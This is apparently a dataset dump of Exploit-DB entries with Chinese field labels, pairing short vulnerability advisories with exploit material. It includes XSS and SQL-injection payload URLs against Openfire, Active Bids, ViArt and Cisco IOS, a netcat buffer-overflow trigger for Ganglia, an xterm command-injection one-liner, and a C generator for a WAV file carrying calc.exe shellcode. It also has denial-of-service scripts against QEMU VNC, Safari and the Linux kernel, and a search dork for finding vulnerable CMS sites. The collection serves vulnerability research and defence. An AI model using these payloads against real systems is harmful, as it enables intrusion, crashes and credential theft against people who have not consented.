QLWD/code_shield huggingface dataset:
标题: Active Bids - 'search' Cross-Site Scripting EDB-ID: 32730 CVE: 2009-0430 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/33306/info


Active Auction House and Active Auction Pro are prone to SQL-injection and cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/search.asp?search=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>&submit=%3E

http://www.example.com/[Path]/search.asp?search=>"><ScRiPt%20%0a%0d>alert(1369)%3B</ScRiPt>&submit=%3E URL: https://www.exploit-db.com/exploits/32730
标题: Ganglia gmetad 3.0.6 - 'process_path()' Remote Stack Buffer Overflow EDB-ID: 32726 CVE: 2009-0241 类型: DOS 平台: LINUX 发布日期: 2009-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/33299/info

Ganglia is prone to a remote stack-based buffer-overflow vulnerability because the software fails to perform adequate boundary checks on user-supplied input.

Attackers can leverage this issue to execute arbitrary code in the context of the application. Successful exploits will compromise the application and the underlying computer. Failed attacks will cause denial-of-service conditions.

echo "/`python -c \"print \\"%s/%s\\" % ('a'*300,'b'*300)\"`" |nc localhost 8652 URL: https://www.exploit-db.com/exploits/32726
标题: Active Bids - 'search' SQL Injection EDB-ID: 32731 CVE: 2009-0429 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/33306/info
 
Active Auction House and Active Auction Pro are prone to SQL-injection and cross-site scripting vulnerabilities because they fail to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/[Path]/search.asp?search='[SQL]&submit=%3E URL: https://www.exploit-db.com/exploits/32731
标题: Cisco IOS 12.x - HTTP Server Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32723 CVE: 2008-3821 类型: REMOTE 平台: HARDWARE 发布日期: 2009-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/33260/info

Cisco IOS HTTP Server is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

These issues are tracked by Cisco bug IDs CSCsi13344 and CSCsr72301. 

http://www.example.com/ping?<script>alert("Running+code+within+the_context+of+"%2bdocument.domain)</script> URL: https://www.exploit-db.com/exploits/32723
标题: Plunet BusinessManager 4.1 - 'pagesUTF8/auftrag_job.jsp?Pfad' Direct Request Information Disclosure EDB-ID: 32710 CVE: 2009-0700 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/33153/info
  
Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.
  
Versions prior to BusinessManager 4.2 are vulnerable.

http://www.example.com/pagesUTF8/auftrag_job.jsp?OSG05=1944&anchor=AJob31944 surf jobs URL: https://www.exploit-db.com/exploits/32710
标题: Plunet BusinessManager 4.1 - 'pagesUTF8/Sys_DirAnzeige.jsp?Pfad' Direct Request Information Disclosure EDB-ID: 32709 CVE: 2009-0700 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/33153/info
 
Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.
 
Versions prior to BusinessManager 4.2 are vulnerable.

http://www.example.com/pagesUTF8/Sys_DirAnzeige.jsp?AnzeigeText=/PRM&Pfad=/ORDER/
C-00042/PRM URL: https://www.exploit-db.com/exploits/32709
标题: Multiple CA Service Management Products - Remote Command Execution EDB-ID: 32711 CVE: 2009-0043 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/33161/info

Multiple CA Service Management products are prone to a vulnerability that attackers can leverage to execute arbitrary commands. This issue is the result of insufficient access restrictions.

Successful attacks can compromise the affected application and possibly the underlying computer.

The following applications are vulnerable:

Service Metric Analysis 11.0, 11.1, and 11.1 SP1
Service Level Management 3.5 

Submitting the following command through netcat or telnet is sufficient to exploit this issue:

[ipconfig /all] URL: https://www.exploit-db.com/exploits/32711
标题: Plunet BusinessManager 4.1 - '/pagesUTF8/auftrag_allgemeinauftrag.jsp' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32708 CVE: 2009-0699 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/33153/info

Plunet BusinessManager is prone to multiple security-bypass and HTML-injection vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, control how the site is rendered to the user, or perform unauthorized actions as another user; other attacks may also be possible.

Versions prior to BusinessManager 4.2 are vulnerable.

POST /pagesUTF8/auftrag_allgemeinauftrag.jsp HTTP/1.1
Host: <HOSTNAME> or IP
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) 
Gecko/20080718
Ubuntu/8.04 (hardy) Firefox/2.0.0.16
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://www.example.com/pagesUTF8/auftrag_allgemeinauftrag.jsp
Cookie: JSESSIONID=0B1347DFFD031E6BC1944C381A31293D
Content-Type: application/x-www-form-urlencoded
Content-Length: 1085

TokenUAID=42&QUK=1449&QUKA=*&QUKANSCH=820&QUKLIEFANSCH=820&QUZ=sample&
VorlageID=3&QU02=1-&QUL=sample&QUB=%22%3E%3Cscript%3Ealert%28%22XSS2%22%29
%3B%3C%2Fscript%3E&QUG=sample&OSPK01=141&OSPK02=0&OSSK05=&OSSK09=1&PJ12=14
&DATAUFTT=07&DATAUFMM=01&DATAUFJJJJ=2008&DATLIEFTT=24&DATLIEFMM=01&
DATLIEFJJJJ=2008&DATLIEFHH=&DATLIEFMN=&PJ13=&
Bez74=%22%3E%3Cscript%3Ealert%28%22XSS4%22%29%3B%3C%2Fscript%3E&
LDate74TT=24&LDate74MM=01&LDate74JJJJ=2008&LDate74HH=13&
LDate74MN=00&BOXP74=4&REA01774=59&REA01874=sample&
OutPE0174=0&OutPAP74=8385&Bem74=sample&REA001=&REA010=&REA007=1&REA008=2&
REA011=0&REA013=0&REA015=0&LEISTung=sample&LangFlag=&exit=&SelectTab=
&ContentBox=&OpenContentBox=&LoginPressed=false&SaveButton=true&
CheckXYZ=Send&yOffsetScroll=0 URL: https://www.exploit-db.com/exploits/32708
标题: IBM Websphere DataPower XML Security Gateway 3.6.1 XS40 - Remote Denial of Service EDB-ID: 32712 CVE: 2009-0120 类型: DOS 平台: MULTIPLE 发布日期: 2009-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/33169/info

IBM WebSphere DataPower XML Security Gateway XS40 is prone to a remote denial-of-service vulnerability because it fails to handle user-supplied input.

Remote attackers can exploit this issue to cause the device to reboot, denying service to legitimate users.

WebSphere DataPower XML Security Gateway XS40 with firmware 3.6.1.5 is affected; other versions may also be vulnerable. 

The following string is sufficient to trigger this issue:

?abc? URL: https://www.exploit-db.com/exploits/32712
标题: xterm - DECRQSS Remote Command Execution EDB-ID: 32690 CVE: 2006-7236 类型: REMOTE 平台: LINUX 发布日期: 2008-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/33060/info

The 'xterm' program is prone to a remote command-execution vulnerability because it fails to sufficiently validate user input.

Successfully exploiting this issue would allow an attacker to execute arbitrary commands on an affected computer in the context of the affected application.

The issue affects xterm with patch 237; other versions may also be affected.

The following example is available:

perl -e 'print "\eP\$q\nwhoami\n\e\\"' > bla.log
cat bla.log URL: https://www.exploit-db.com/exploits/32690
标题: Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (2) EDB-ID: 32695 CVE: 2008-5821 类型: DOS 平台: OSX 发布日期: 2009-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/33080/info
 
Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.
 
Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.
 
Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.
 
Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.

<?php
#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: inv0ked.israel@gmail.com
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created(crash.html) file and see what happen ;)
# The vulnerable tag is:
# * <body alink="A x 12000085">
# -----------------------------------
# Exploit Title: Apple iPhone Safari (body alink) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3, IOS 4.0.1 MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code   = "<html>
    <head>
        <title>Apple iPhone Safari (body alink) Remote Crash</title>
    </head>
    <body alink='{$string}'>
    </body>
</html>";
if(file_put_contents("./crash.html", $code)) {
    echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
    echo("Cannot create file.\r\n");
}
?> URL: https://www.exploit-db.com/exploits/32695
标题: Audio File Library 0.2.6 - libaudiofile 'msadpcm.c .WAV' File Processing Buffer Overflow EDB-ID: 32691 CVE: 2008-5824 类型: REMOTE 平台: LINUX 发布日期: 2008-12-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/33066/info

Audio File Library ('libaudiofile') is prone to a heap-based buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data.

An attacker can exploit this issue to execute arbitrary machine code in the context of applications using the vulnerable library. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects libaudiofile 0.2.6; other versions may also be vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32691.wav URL: https://www.exploit-db.com/exploits/32691
标题: Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (1) EDB-ID: 32694 CVE: 2008-5821 类型: DOS 平台: OSX 发布日期: 2009-01-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/33080/info

Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.

Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.

Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.

Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.

#!/usr/bin/perl
# safari_webkit_ml.pl
# Safari (Webkit) 3.2 Remote Memory Leak Exploit
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# Access violation when writing to [00000018]
# EIP 6B00A02B WebKit.6B00A02B
# LastError 00000008 ERROR_NOT_ENOUGH_MEMORY
# Memory leaks are common in browsers.. tested on Vista SP1
# Compliments of bf2

$filename = $ARGV[0];
if(!defined($filename))
{

     print "Usage: $0 <filename.html>\n";

}

$head = "<html>" . "\n";
$trig = "<body alink=\"" . "A/" x 10000000 . "\">" . "\n";
$foot = "</html>";

$data = $head . $trig . $foot;

     open(FILE, '>' . $filename);
     print FILE $data;
     close(FILE);

exit; URL: https://www.exploit-db.com/exploits/32694
标题: Openfire 3.6.2 - 'log.jsp' Directory Traversal EDB-ID: 32680 CVE: 2009-0497 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32945/info

Openfire is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting the issue may allow an attacker to obtain sensitive information that could aid in further attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/log.jsp?log=..\..\..\windows\debug\netsetup URL: https://www.exploit-db.com/exploits/32680
标题: Openfire 3.6.2 - 'user-properties.jsp' Cross-Site Scripting EDB-ID: 32678 CVE: 2009-0496 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32938/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected.

http://www.example.com/user-properties.jsp?username=%3C[xss] URL: https://www.exploit-db.com/exploits/32678
标题: Openfire 3.6.2 - 'log.jsp' Cross-Site Scripting EDB-ID: 32679 CVE: 2009-0496 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32940/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected.

http://www.example.com/log.jsp?log=%3Cimg%20src=%27%27%20onerror=%27[xss] URL: https://www.exploit-db.com/exploits/32679
标题: Openfire 3.6.2 - 'group-summary.jsp' Cross-Site Scripting EDB-ID: 32677 CVE: 2009-0496 类型: WEBAPPS 平台: JSP 发布日期: 2009-01-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32937/info

Openfire is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Openfire 3.6.2 is vulnerable; prior versions may also be affected. 

http://www.example.com/group-summary.jsp?search=%22%3E%3C[xss] URL: https://www.exploit-db.com/exploits/32677
标题: ViArt Shop 3.5 - 'manuals_search.php?manuals_search' Cross-Site Scripting EDB-ID: 32685 CVE: 2008-6757 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/33043/info


ViArt Shop is prone to multiple remote vulnerabilities:

- Multiple cross-site scripting vulnerabilities
- An information-disclosure vulnerability
- An authentication-bypass vulnerability

An attacker can exploit these issues to execute arbitrary script code, steal cookie-based authentication credentials, obtain sensitive information, or gain unauthorized access to the affected application.

ViArt Shop 3.5 is vulnerable; other versions may also be affected.

http://www.example.com/manuals_search.php?manuals_search=<html><script>window.location="http://www.example2.com";</script></html> URL: https://www.exploit-db.com/exploits/32685
标题: Microsoft Windows Media Player 9/10/11 - '.WAV' File Parsing Code Execution EDB-ID: 32684 CVE: 2008-5745 类型: REMOTE 平台: WINDOWS 发布日期: 2008-12-29 漏洞利用脚本: // source: https://www.securityfocus.com/bid/33042/info

Microsoft Windows Media Player is prone to a code-execution vulnerability.

An attacker can exploit this issue by tricking an unsuspecting victim into opening a malicious file with the vulnerable application. A successful exploit will allow arbitrary code to run in the context of the user running the application. 

#include <stdio.h>

int main()
{
/* win32_exec -  EXITFUNC=process CMD=calc.exe Size=138 Encoder=None http://metasploit.com */
unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb"
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30"
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09"
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8"
"\x83\xc0\x7b\x50\x68\x7e\xd8\xe2\x73\x68\x98\xfe\x8a\x0e\x57\xff"
"\xe7\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char begincode[] =
"\x52\x49\x46\x46\x04\x44\x0E\x01\x57\x41\x56\x45\x66\x6D\x74\x20"
"\x28\x00\x00\x00\xFE\xFF\x02\x00\x00\xEE\x02\x00\x00\x94\x11\x00"
"\x06\x00\x18\x00\x16\x00\x18\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x10\x00\x80\x00\x00\xAA\x00\x38\x9B\x71\x64\x61\x74\x61"
"\xC8\x43\x0E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00";

    FILE *f;
    f = _fsopen("new.wav", "w+", 0);
    fwrite(begincode, sizeof(scode), 1, f);
    for (int i=0; i<20000; i++)
         fwrite(scode, sizeof(scode), 1, f);
    fclose(f);
    return 0;
} URL: https://www.exploit-db.com/exploits/32684
标题: QEMU 0.9 / KVM 36/79 - VNC Server Remote Denial of Service EDB-ID: 32675 CVE: 2008-2382 类型: DOS 平台: LINUX 发布日期: 2008-12-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/32910/info

QEMU and KVM are prone to a remote denial-of-service vulnerability that affects the included VNC server.

Attackers can exploit this issue to create a denial-of-service condition.

The following are vulnerable:

QEMU 0.9.1 and prior
KVM-79 and prior

##
## vnc remote DoS
##

import socket
import time
import struct
import sys

if len(sys.argv)<3:
 print "Usage: %s host port" % sys.argv[0]
 exit(0)

host = sys.argv[1] # "127.0.0.1" # debian 4
port = int(sys.argv[2]) # 5900

s =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,port))
# rec-send versions
srvversion = s.recv(100)
cliversion=srvversion
s.send(cliversion)
print "Server version: %s" % srvversion

#Security types

sec=s.recv(100)
print "Number of security types: %d" % ord(sec[0])
s.send(sec[1])

# Authentication result
auth=s.recv(100)
if auth=="\x00\x00\x00\x00":
 print "Auth ok."

# Share desktop flag: no
s.send("\x00")

# Server framebuffer parameters:
framebuf=s.recv(100)

# Trigger the bug
s.send("\x02\x00\x00\x00\x00\xff"+struct.pack("<L",1)*5)

s.close() URL: https://www.exploit-db.com/exploits/32675
标题: Linux Kernel 2.6.x - 'qdisc_run()' Local Denial of Service EDB-ID: 32682 CVE: 2008-5713 类型: DOS 平台: LINUX 发布日期: 2008-12-23 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/32985/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Local attackers can exploit this issue to cause a soft lockup, denying service to legitimate users.

Versions prior to Linux kernel 2.6.25 are vulnerable.
*/


#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

#define MAXTASKS 200
int main(int argc, char *argv[])
{
 int i;
 char cmd[128];
 FILE *f;
 pid_t pids[MAXTASKS];
 pid_t pid;
 unsigned int num;

 if (argc < 3) {
  printf("enter netserver hostname as the first parameter\n");
  printf("enter number of netperf tasks as the second parameter\n");
  return 1;
 }

 f = fopen("/dev/null", "w");
 if (!f) {
  printf("cannot open /dev/nu;;\n");
  return 2;
 }
 sprintf(cmd, "netperf -H %s -l 60 -t UDP_STREAM -- -s 262144 -r 262144 -m 16384", argv[1]);

 num = atoi(argv[2]);
 if (num > MAXTASKS) {
  printf("number of tasks is too high, resetting to %ld\n", MAXTASKS);
  num = MAXTASKS;
 }

 for(i = 0; i < num; i++) {
  pid = fork();
  if (pid == 0) { 
   fclose(stdout);
   fclose(stderr);
   stdout = f;
   stderr = f;
   execl("/bin/sh", "/bin/sh", "-c", cmd, NULL);
  }
  else {
   printf("newpid: %d\n", pid);
   pids[i] = pid;
  }
 }
 for(i = 0; i < num; i++) {
  waitpid(pids[i], NULL, 0);
 }

 fclose(f);

 return 0;
} URL: https://www.exploit-db.com/exploits/32682
标题: DO-CMS 3.0 - 'p' Multiple SQL Injections EDB-ID: 32671 CVE: 2008-6019 类型: WEBAPPS 平台: PHP 发布日期: 2008-12-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/32906/info

DO-CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

DO-CMS 3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?p=%28SQL%29 URL: https://www.exploit-db.com/exploits/32671
标题: CIS Manager CMS - SQL Injection EDB-ID: 32660 CVE: 2014-2847 类型: WEBAPPS 平台: ASP 发布日期: 2014-04-02 漏洞利用脚本: [+] Sql Injection on CIS Manager CMS
[+] Date: 01/04/2014
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Vendor Homepage: http://www.construtiva.com.br/
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vulnerable File: default.asp
[+} Dork : intext:"Powered by CIS Manager"
[+] Exploit : http://host/site/default.asp?TroncoID=[SQL Injection] URL: https://www.exploit-db.com/exploits/32660